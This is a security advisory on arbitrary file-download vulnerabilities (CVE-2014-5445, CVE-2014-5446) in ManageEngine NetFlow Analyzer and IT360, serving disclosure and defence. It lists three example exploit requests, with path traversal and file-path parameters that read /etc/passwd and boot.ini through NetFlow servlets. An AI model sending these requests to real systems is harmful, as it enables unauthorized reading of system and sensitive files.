Multiple ManageEngine Products Multiple Arbitrary File Download Vulnerabilities

Bugtraq ID:	71404
Class:	Input Validation Error
CVE:	CVE-2014-5446 CVE-2014-5445
Remote:	Yes
Local:	No
Published:	Dec 01 2014 12:00AM
Updated:	May 12 2015 07:35PM
Credit:	Pedro Ribeiro
Vulnerable:	ManageEngine NetFlow Analyzer 9.9 ManageEngine NetFlow Analyzer 8.6 ManageEngine NetFlow Analyzer 10.2 ManageEngine IT360 10.3.3 build 10330 ManageEngine IT360 10.3
Not Vulnerable:

Multiple ManageEngine Products Multiple Arbitrary File Download Vulnerabilities

Multiple ManageEngine Products are prone to multiple arbitrary file-download vulnerabilities.

An attacker can exploit these issues to download arbitrary files and obtain potentially sensitive information.

The following products are affected:

ManageEngine NetFlow 8.6 through 10.2.
ManageEngine IT360 10.3 and later versions.

Multiple ManageEngine Products Multiple Arbitrary File Download Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example requests are available:

GET /netflow/servlet/CSVServlet?schFilePath=/etc/passwd
GET /netflow/servlet/CReportPDFServlet?schFilePath=C:\\boot.ini&pdf=true
GET /netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini

• /data/vulnerabilities/exploits/71404.rb

Multiple ManageEngine Products Multiple Arbitrary File Download Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Multiple ManageEngine Products Multiple Arbitrary File Download Vulnerabilities

References:

• ManageEngine NetFlow Analyzer Home Page (AdventNet)